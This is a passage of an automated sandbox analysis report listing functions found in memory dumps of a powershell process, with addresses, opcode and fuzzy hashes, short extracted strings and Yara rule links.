Instruction ID: 001e2a0169cdfc9066c97cd175382efd34668b77e4e54438dfcaab495fc622b4
Opcode Fuzzy Hash: ec36c0438514fa5d53ec33a683740e9b8a419b915542a6af93480bd1f72e9ad1
Instruction Fuzzy Hash: 38E04F74905208EFC708DF94D5409ACBBB4EB45310F1481AA980417342C6329A52DB81

Function 06BDA620 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2846037683.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 968f30dbb5d4f6d180f393a84c1e33ab4e320a485f73bfabe9a18726abae0008
Instruction ID: 74d17659380df79365339c97226d33bfaba05b0085c02e7201c1c66af2d1d1d6
Opcode Fuzzy Hash: 968f30dbb5d4f6d180f393a84c1e33ab4e320a485f73bfabe9a18726abae0008
Instruction Fuzzy Hash: EAE0E674D15208DFC784EFACD54569CBBF4EB48215F6480E9D848D7341EA319E56CB41

Function 06BDFB08 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2846037683.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0b4a339c33f53120bc2d5d0acb7a8c38de4345600b8d858c2ee2bddf03edc76
Instruction ID: 36cabc0998ddf23ae05abdf48e49ffe3a82335f382fa9c54ad59725f369c51e6
Opcode Fuzzy Hash: d0b4a339c33f53120bc2d5d0acb7a8c38de4345600b8d858c2ee2bddf03edc76
Instruction Fuzzy Hash: 3CE01A74D09208EFC744DF98D5406ACBBF8EB48304F1480E9981997341DA319A12CB81

Function 006E1181 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2813822137.00000000006E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3927476bd3e561d85d67204ab34e2b1f7ee3cc57edfcb9ad24a39b8575e8b086
Instruction ID: 49259eecbfbb88607688ea3e6e41b6d5a8cc03e8bef209e6e4ebb8761c030660
Opcode Fuzzy Hash: 3927476bd3e561d85d67204ab34e2b1f7ee3cc57edfcb9ad24a39b8575e8b086
Instruction Fuzzy Hash: 41E08638906208EBCB08DF94E5409ECBBB1EB45310F24C099DC1417341C6328E52EB81

Function 006E0FD0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2813822137.00000000006E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a585a168820770228b301cb20de8565b2b03103a1a8b253b52830a387678ac02
Instruction ID: c5042652fab333772292935024bf352794f0e638317e3f1d8e7c01949815ab13
Opcode Fuzzy Hash: a585a168820770228b301cb20de8565b2b03103a1a8b253b52830a387678ac02
Instruction Fuzzy Hash: 4BE0C23490A208DBC708DF95E540AACBBB5EB45310F248199DC0817341CA72AE53DB81

Function 06C060B8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2846351555.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b360c0d6946437d882fa51790c3556ed4479b9c8d80665fb80e543d05aac1eee
Instruction ID: 9c4273944b17dca8bae426097538d96681e7f0a522ffbd4dca574803ae693e56
Opcode Fuzzy Hash: b360c0d6946437d882fa51790c3556ed4479b9c8d80665fb80e543d05aac1eee
Instruction Fuzzy Hash: 45E0C2B0C4A21CDFCB84DFB9D40969CBBF4EB04201F1001A99908A3340EB304B60CB41

Function 06BD5580 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2846037683.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f27114fb5706ad360db653f89bb0d439962dc06923422fe948a0e8f62f54eec
Instruction ID: 9f1b0da8242d414febabf0c4e692756a2878859bf34f9b709caccf02b9c4d923
Opcode Fuzzy Hash: 4f27114fb5706ad360db653f89bb0d439962dc06923422fe948a0e8f62f54eec
Instruction Fuzzy Hash: 94E0C278909208DFCB18DF94E544AACBBB5EB49304F2490D9D8081B341DA329E02CB81

Function 06BDA20F Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2846037683.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f79e9e5b5fca5ce916436bfb21aef4e0ec2bd17fa5d42983c4bd7dcbc7600bea
Instruction ID: 7d5a1b1186aaa8eef27fac5b6ba51bc5ee2bf39fe21d3c44140854badb73fc3a
Opcode Fuzzy Hash: f79e9e5b5fca5ce916436bfb21aef4e0ec2bd17fa5d42983c4bd7dcbc7600bea
Instruction Fuzzy Hash: 8FE0C274C0A208EFC744DBAAE5116ACBFF8DB09205F1480D9D8485B341EA329E42CB91

Function 06BD5CF0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2846037683.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f27114fb5706ad360db653f89bb0d439962dc06923422fe948a0e8f62f54eec
Instruction ID: 63983d3279206b71810f511e60d00aba06415e3c3160279d731160c4fc978a99
Opcode Fuzzy Hash: 4f27114fb5706ad360db653f89bb0d439962dc06923422fe948a0e8f62f54eec
Instruction Fuzzy Hash: 6DE0C27490920CDFC708DFA8E5449ACBBB4EB85300F2480E9D8081B341DA329E02CBA1

Function 06BD9B10 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2846037683.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f27114fb5706ad360db653f89bb0d439962dc06923422fe948a0e8f62f54eec
Instruction ID: e34425c1d43953ab7b1838152674e42f97fcc03bd4c36f7fa54c81eb1be9db0c
Opcode Fuzzy Hash: 4f27114fb5706ad360db653f89bb0d439962dc06923422fe948a0e8f62f54eec
Instruction Fuzzy Hash: 1BE0C274D0A208EFC708EF94E5409ACBBB4EB85300F2491D9D8081B381DA329E03CB81

Function 06BDA210 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2846037683.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9cbed9c79aa0afc1d85d56281e8585765356039758eb63ace7d88ba5b99c05b
Instruction ID: 8562b418ff423fa92e8c85e4bacfa0129f46978badbfcd9754d8af7d9f6fcb27
Opcode Fuzzy Hash: f9cbed9c79aa0afc1d85d56281e8585765356039758eb63ace7d88ba5b99c05b
Instruction Fuzzy Hash: F1E0C274C09208EFC744DBAAE5106ACBFF4DB09205F1480D9D8485B341EA329E02CB81

Function 06BDDDF7 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2846037683.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a71662d1b3926e994e0c4810a4658741b73de48ebdd9858d6f93570d9a85b24
Instruction ID: bbec86509d38de3a54fc0edfec3c58cc490307f9336c1f5adf8d288b825a8d1d
Opcode Fuzzy Hash: 0a71662d1b3926e994e0c4810a4658741b73de48ebdd9858d6f93570d9a85b24
Instruction Fuzzy Hash: D1E0E5B190421C9FDB51CF94C850BDA7BB9BB48300F0042E6E149A7240DB309E80CF50

Function 06BDA5A0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2846037683.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50cfb6a2b5e50dce5196b4f7824405be67e88fded513440787c74b9ada146052
Instruction ID: 1b95376c4f36547a499a65ce606f30be0183d2c9f7757d67cafbdbcc3dcbac32
Opcode Fuzzy Hash: 50cfb6a2b5e50dce5196b4f7824405be67e88fded513440787c74b9ada146052
Instruction Fuzzy Hash: 8CD0A7B450A108DFC748CB94E500B68B7FCDB46319F5490DD99195B381DB73DD02C781

Function 06C28F79 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2846527298.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebf787abc6600ac8df177cdbabfce2c7aad696e56abbb70b7b3cc10d5281d318
Instruction ID: 5fd1a5958be305aeafedc0b2cf7bf2178994e4c3d7fe4354cea31ff39dbfa3a3
Opcode Fuzzy Hash: ebf787abc6600ac8df177cdbabfce2c7aad696e56abbb70b7b3cc10d5281d318
Instruction Fuzzy Hash: D6E01A74A01259CFDB10DF65D958B9ABBB6EB89301F10809AD50AB7282DB701E81CF20

Function 06C07624 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2846351555.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6056e505ecf3e2cb5d795a79547883a077071c202984c8e9beac1a9acb541e32
Instruction ID: e8a00a0fcb4ab1e2b4e4596e4be2a9b0dee1352827ab8f4b950b943fbcf814f3
Opcode Fuzzy Hash: 6056e505ecf3e2cb5d795a79547883a077071c202984c8e9beac1a9acb541e32
Instruction Fuzzy Hash: C3E0EC34A04118CFDF20DFA8E945BD9B7B2EB84351F0041E6E60DA3744D7305E928F51

Function 06C26EC5 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2846527298.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb58f048cdee9b44373f6787a8376fc17f2e767611c2baf2202f0d5fc38e5dc8
Instruction ID: cbfc34b9b9024bc5d3c6dfa8d3da12e9a918e515a5c67aa3eda8482b0c7f335c
Opcode Fuzzy Hash: fb58f048cdee9b44373f6787a8376fc17f2e767611c2baf2202f0d5fc38e5dc8
Instruction Fuzzy Hash: 0AC01236E1000CCF8F40EFD8E8408CEB7B0EB84361B008132E224A7204C7302822CF80

Non-executed Functions

Function 0696C614 Relevance: 8.8, Strings: 6, Instructions: 1336COMMON

Download Yara Rule

Strings

,^i, xrefs: 0696D769
Pdi, xrefs: 0696DAD8
2, xrefs: 0696D5FE
$]q, xrefs: 0696CC82
tZi, xrefs: 0696D660
HVi, xrefs: 0696D542

Memory Dump Source

Source File: 00000003.00000002.2844391654.0000000006960000.00000040.00000800.00020000.00000000.sdmp, Offset: 06960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6960000_powershell.jbxd

Similarity

API ID:
String ID: ,^i$2$HVi$Pdi$tZi$$]q
API String ID: 0-880927991
Opcode ID: 1658f77aaee1a4b43c39e896a74f28281ee0739e0ed8109fb6f58f3e3cef4976
Instruction ID: c5ab7c60f57edc37a58b58ac49100fd59155bd07b74c71004ca0b30aa7685964
Opcode Fuzzy Hash: 1658f77aaee1a4b43c39e896a74f28281ee0739e0ed8109fb6f58f3e3cef4976
Instruction Fuzzy Hash: 8EE2E574A052288FCB65DF69D984B9ABBF6FF89301F1081EAE409A7754DB305E85CF40

Function 0696A2C8 Relevance: 8.5, Strings: 6, Instructions: 956COMMON

Download Yara Rule

Strings

xb`q, xrefs: 0696A3F5
\7UJ, xrefs: 0696A6A5
XnG, xrefs: 0696A6AF
paq, xrefs: 0696AE82
TJbq, xrefs: 0696A46A
Te]q, xrefs: 0696A9EB

Memory Dump Source

Source File: 00000003.00000002.2844391654.0000000006960000.00000040.00000800.00020000.00000000.sdmp, Offset: 06960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6960000_powershell.jbxd

Similarity

API ID:
String ID: TJbq$Te]q$\7UJ$paq$xb`q$XnG
API String ID: 0-2228358924
Opcode ID: cc65d2a81ac1e804c58fe06f71bc0091dfbae56954173ac72c0ad58201897b1c
Instruction ID: ed1f9a9a323a93e0538b541f5448e05b07947aa6ad36b09671bc20a6e84fbef8
Opcode Fuzzy Hash: cc65d2a81ac1e804c58fe06f71bc0091dfbae56954173ac72c0ad58201897b1c
Instruction Fuzzy Hash: 37A29675E00228DFDB65CF69C984A99BBB2FF89304F1581D9E509AB325DB319E81CF40

Function 0696A2B9 Relevance: 4.0, Strings: 3, Instructions: 243COMMON

Download Yara Rule

Strings

xb`q, xrefs: 0696A3F5
TJbq, xrefs: 0696A46A
Te]q, xrefs: 0696A9EB

Memory Dump Source

Source File: 00000003.00000002.2844391654.0000000006960000.00000040.00000800.00020000.00000000.sdmp, Offset: 06960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6960000_powershell.jbxd

Similarity

API ID:
String ID: TJbq$Te]q$xb`q
API String ID: 0-1930611328
Opcode ID: a7cd966956339d1d99e1a0be3578359345eaa1ed9902044531be104f46750d46
Instruction ID: 1691c99657fcf02c9050d4f9792537703113f2cf1d0647fea5bb8afec85d26f6
Opcode Fuzzy Hash: a7cd966956339d1d99e1a0be3578359345eaa1ed9902044531be104f46750d46
Instruction Fuzzy Hash: 46C16875E016188FDB58DF6AC944ADDBBF2AF89300F14C1AAD909AB365DB305E81CF50

Function 06966491 Relevance: 3.9, Strings: 3, Instructions: 171COMMON

Download Yara Rule

Strings

4']q, xrefs: 06966557
t6i, xrefs: 06966511
4']q, xrefs: 06966582

Memory Dump Source

Source File: 00000003.00000002.2844391654.0000000006960000.00000040.00000800.00020000.00000000.sdmp, Offset: 06960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6960000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$t6i
API String ID: 0-1866753737
Opcode ID: f15713a5ff29798cad7fa76be8325febccb53301173aaef49c7d676810c0a098
Instruction ID: 0a004f1ca0e6d123486387a34f84959570fe86342f290a0c53d84c33b2ad5372
Opcode Fuzzy Hash: f15713a5ff29798cad7fa76be8325febccb53301173aaef49c7d676810c0a098
Instruction Fuzzy Hash: 45713771A142098FD709DF6AE855A9ABFF7BFC9300F14C52AE4089B265DFB49806CB40

Function 069664A0 Relevance: 3.9, Strings: 3, Instructions: 165COMMON

Download Yara Rule

Strings

4']q, xrefs: 06966557
t6i, xrefs: 06966511
4']q, xrefs: 06966582

Memory Dump Source

Source File: 00000003.00000002.2844391654.0000000006960000.00000040.00000800.00020000.00000000.sdmp, Offset: 06960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6960000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$t6i
API String ID: 0-1866753737
Opcode ID: ca8eafb1c5f25d81a8c58cf68a37fba11e24252464fe9d6d4f4345eb7e843e75
Instruction ID: 93bfb8b485ffbf8c6b3820517857bdf41a8c6f28e0b66c53eec0ad685dd3d287
Opcode Fuzzy Hash: ca8eafb1c5f25d81a8c58cf68a37fba11e24252464fe9d6d4f4345eb7e843e75
Instruction Fuzzy Hash: CF712870A142098FD709DF7AE955A9ABFF7AFC9300F14C52AE4189B225DFB49906CB40

Function 006E3DB0 Relevance: 3.9, Strings: 3, Instructions: 110COMMON

Download Yara Rule

Strings

A, xrefs: 006E44B0
B, xrefs: 006E3E7F
T, xrefs: 006E4484

Memory Dump Source

Source File: 00000003.00000002.2813822137.00000000006E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_powershell.jbxd

Similarity

API ID:
String ID: A$B$T
API String ID: 0-1645319016
Opcode ID: 9bfd417aa1873402aa67933d6395839ab63a3ea3dc382285c9b6f2e101780678
Instruction ID: 8b387f6d88e0753540b97217d0fc16f0c6af197ef33db271d0a77fbb86746f45
Opcode Fuzzy Hash: 9bfd417aa1873402aa67933d6395839ab63a3ea3dc382285c9b6f2e101780678
Instruction Fuzzy Hash: 0141C8B1E156288BDB19CF6BD84469AFAFBBFC9300F14C1EA954DA7255DB704B818F00

Function 006EA230 Relevance: 2.9, Strings: 2, Instructions: 431COMMON

Download Yara Rule

Strings

\7UJ, xrefs: 006EA4E7
XnG, xrefs: 006EA4EE

Memory Dump Source

Source File: 00000003.00000002.2813822137.00000000006E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_powershell.jbxd

Similarity

API ID:
String ID: \7UJ$XnG
API String ID: 0-3281186074
Opcode ID: 2f3cabf672cddbf0afb3644c6094c4e0517611ddb3c0aedfbf578e0cf188b2ef
Instruction ID: 5bc7d27510b9c92286b4d54f37ab4dd4c306b61128754f2696002e6dd1eb0788
Opcode Fuzzy Hash: 2f3cabf672cddbf0afb3644c6094c4e0517611ddb3c0aedfbf578e0cf188b2ef
Instruction Fuzzy Hash: CA129271E016588FDB14CFAAC98069DFBF2BF88304F28C569D459EB21AD734A946CF50

Function 06C2EED8 Relevance: 2.8, Strings: 2, Instructions: 329COMMON

Download Yara Rule

Strings

(aq, xrefs: 06C2F27C
,aq, xrefs: 06C2EFCE

Memory Dump Source

Source File: 00000003.00000002.2846527298.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c20000_powershell.jbxd

Similarity

API ID:
String ID: (aq$,aq
API String ID: 0-1929014441
Opcode ID: c9e68033ecca4a3c119af3cc51bbe07a43a7990f3f892d4357ec5586f4ad1082
Instruction ID: 7db8923a9b72aba3ff079a2b331ff981d5b65643d5f837f5d76992f213a0b3b5
Opcode Fuzzy Hash: c9e68033ecca4a3c119af3cc51bbe07a43a7990f3f892d4357ec5586f4ad1082
Instruction Fuzzy Hash: E0D13C74A4015ACFDB54CF69C588A6EB7F2BF89310F25C598E815AB361CB30ED41CB50

Function 006EE636 Relevance: 2.7, Strings: 2, Instructions: 158COMMON

Download Yara Rule

Strings

(, xrefs: 006EE383
d%cq, xrefs: 006EE6A7

Memory Dump Source

Source File: 00000003.00000002.2813822137.00000000006E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_powershell.jbxd

Similarity

API ID:
String ID: ($d%cq
API String ID: 0-2372678317
Opcode ID: 26011d2026ef0f509bdb2a869f587fa90488fe96e6733c522c7ff0b2f0dad196
Instruction ID: 17854b58925bc68a5718dfa020570cfdbc8f2756b593e9150dd91ddaea33f4df
Opcode Fuzzy Hash: 26011d2026ef0f509bdb2a869f587fa90488fe96e6733c522c7ff0b2f0dad196
Instruction Fuzzy Hash: 78614B74A1421ACFDB64CF69D9457AEB7F2BB88300F5085A5A40DEB754EB349E81CF40

Function 06C00040 Relevance: 2.6, Strings: 2, Instructions: 104COMMON

Download Yara Rule

Strings

U, xrefs: 06C03058
#, xrefs: 06C03088

Memory Dump Source

Source File: 00000003.00000002.2846351555.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c00000_powershell.jbxd

Similarity

API ID:
String ID: #$U
API String ID: 0-799237494
Opcode ID: ca328e958bb87d648bfb182478f5cffadffd3a95dafe0251b8f8fc4d42b889e6
Instruction ID: 8419a75c72b86572f0929758a243476cf013b3b15218bf13492316bac106a3e9
Opcode Fuzzy Hash: ca328e958bb87d648bfb182478f5cffadffd3a95dafe0251b8f8fc4d42b889e6
Instruction Fuzzy Hash: 7C417EB1E05A588BEB58CF6B8D4079EFAF3AFC8301F14C1B9881CAA255DB3046818F41

Function 06C0E790 Relevance: 1.5, Strings: 1, Instructions: 284COMMON

Download Yara Rule

Strings

, xrefs: 06C0EAC5

Memory Dump Source

Source File: 00000003.00000002.2846351555.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 8680545dc14b5e92f3defea6e8c8abe9101bfcf6f1e3ee8f71b1621e0cb94b87
Instruction ID: b52b05b998e17c8dedfb02806f3b591f527a5991670a6fd226fa82ca2c43859b
Opcode Fuzzy Hash: 8680545dc14b5e92f3defea6e8c8abe9101bfcf6f1e3ee8f71b1621e0cb94b87
Instruction Fuzzy Hash: 54C1D070D85228CFEB80CFAAD444BEDBBB5BB8D304F10991AD519B7281C7749985CF94

Function 06C2A680 Relevance: 1.5, Strings: 1, Instructions: 249COMMON

Download Yara Rule

Strings

Te]q, xrefs: 06C2A9EA

Memory Dump Source

Source File: 00000003.00000002.2846527298.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c20000_powershell.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 12fd0eba17807895c9d9d65cb23c43a2d12e00ec9fa54d454b9d5c2cfdb8e845
Instruction ID: 82f5b04f59bdea2768e2295a2ede20683622a1399e76848471de143042eccf98
Opcode Fuzzy Hash: 12fd0eba17807895c9d9d65cb23c43a2d12e00ec9fa54d454b9d5c2cfdb8e845
Instruction Fuzzy Hash: 90A12970E15229CFEB54DFAAD981B9DBBF2BF89300F208069D809A7255DB709D85CF44

Function 06C27350 Relevance: 1.5, Strings: 1, Instructions: 248COMMON

Download Yara Rule

Strings

Te]q, xrefs: 06C274A5

Memory Dump Source

Source File: 00000003.00000002.2846527298.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c20000_powershell.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 4c9120b43204db864e78482c428f81f97c2240d4fe0479dab95816dd85705bae
Instruction ID: 07531bda35bc95374903afd63084aa554837f506a98b0bee754fa654e4b82eeb
Opcode Fuzzy Hash: 4c9120b43204db864e78482c428f81f97c2240d4fe0479dab95816dd85705bae
Instruction Fuzzy Hash: BAB12B70E15229CFEB54CFAAD885BADBBF2FB89300F209069D809A7351DB345985CF50

Function 06C27340 Relevance: 1.5, Strings: 1, Instructions: 244COMMON

Download Yara Rule

Strings

Te]q, xrefs: 06C274A5

Memory Dump Source

Source File: 00000003.00000002.2846527298.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c20000_powershell.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: ef3859b82a54e5b35a3a75a8eea1e1f5a4482ddd86620d967fac320487d8c38e
Instruction ID: 7900a96ee42b088aa6de721fb0f68ad7fd7f0b71c45c59cf40d2e26176c743e8
Opcode Fuzzy Hash: ef3859b82a54e5b35a3a75a8eea1e1f5a4482ddd86620d967fac320487d8c38e
Instruction Fuzzy Hash: 42B13A70E15219CFEB64CFAAD995BADBBF2FB89300F208069D809A7351DB345985CF50

Function 06C2A678 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

Te]q, xrefs: 06C2A9EA

Memory Dump Source

Source File: 00000003.00000002.2846527298.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c20000_powershell.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: dcd4392a76e927f839bdb87a6aca07e925e2e1b8835b4a947386fb26f5d73c15
Instruction ID: 150be366bf8b030887a225b9a8f1ff7acf2ad283423f34f14f2390aae3e49020
Opcode Fuzzy Hash: dcd4392a76e927f839bdb87a6aca07e925e2e1b8835b4a947386fb26f5d73c15
Instruction Fuzzy Hash: 0CA11A74D15259CFEB54CFAAD981B9DBBF2BF89300F208069D809A7255DB709E85CF04

Function 06C09300 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

pqI, xrefs: 06C09403

Memory Dump Source

Source File: 00000003.00000002.2846351555.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c00000_powershell.jbxd

Similarity

API ID:
String ID: pqI
API String ID: 0-1078129942
Opcode ID: c80d642b982ceeb2d16dbb5e15cb74c932df65579445030a83894b2491af460a
Instruction ID: a23ccbd0e91d2ecdc49b26da4e09963c265505fddd48e5de06bd78b72e1df571
Opcode Fuzzy Hash: c80d642b982ceeb2d16dbb5e15cb74c932df65579445030a83894b2491af460a
Instruction Fuzzy Hash: FF412F70E1520ADFEB84CFAAC4413AEB7F2EB49200F54D525D429E7391E338DA028F90

Function 06C092F0 Relevance: 1.4, Strings: 1, Instructions: 119COMMON

Download Yara Rule

Strings

pqI, xrefs: 06C09403

Memory Dump Source

Source File: 00000003.00000002.2846351555.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c00000_powershell.jbxd

Similarity

API ID:
String ID: pqI
API String ID: 0-1078129942
Opcode ID: c051573aade390ba2b086b16356b46c138366d976fd9a6264de5b939569b7a32
Instruction ID: 28b8ee141910c7e37d3fc4ebfeae8524a6cef46954608fea8d64b8686545b2b5
Opcode Fuzzy Hash: c051573aade390ba2b086b16356b46c138366d976fd9a6264de5b939569b7a32
Instruction Fuzzy Hash: 9B413374E4510ADFEB84CFAAC5413AEB7F2EB49240F54D465D42AE7391E338CA028F90

Function 006E3DA2 Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

B, xrefs: 006E3E7F

Memory Dump Source

Source File: 00000003.00000002.2813822137.00000000006E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e0000_powershell.jbxd

Similarity

API ID:
String ID: B
API String ID: 0-1255198513
Opcode ID: 8c203ab040fa9b0eab53f300d471e0aeb4b4ff703b4699bb7832b1bc79ee7492
Instruction ID: a4f1b171b6bb52f57b90378f369c00cfcdf2d7fba35cef8bf95d2b482be2a517
Opcode Fuzzy Hash: 8c203ab040fa9b0eab53f300d471e0aeb4b4ff703b4699bb7832b1bc79ee7492
Instruction Fuzzy Hash: C031AE71E157588BEB1DCF6B8C4469AFAF7AFC9200F08C0FA984CA6255DB700A428F01

Function 06C20021 Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

l, xrefs: 06C200C8

Memory Dump Source

Source File: 00000003.00000002.2846527298.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c20000_powershell.jbxd

Similarity

API ID:
String ID: l
API String ID: 0-2517025534
Opcode ID: 0d45288b62d1b84cc6226cbe8fcc5f43cb3e52947642b2541509bab0999ba6a4
Instruction ID: 3afe84d0500b64cd8a7a5b9fd2cdeedf50a1f1ba215656108692a8b59ca96748
Opcode Fuzzy Hash: 0d45288b62d1b84cc6226cbe8fcc5f43cb3e52947642b2541509bab0999ba6a4
Instruction Fuzzy Hash: 2C21FA71E057948FEB59CF67890019EBBF7AFC6300F18C0AB9958AB265DB340A46CF11

Function 06BD2778 Relevance: .2, Instructions: 201COMMON

Download Yara Rule
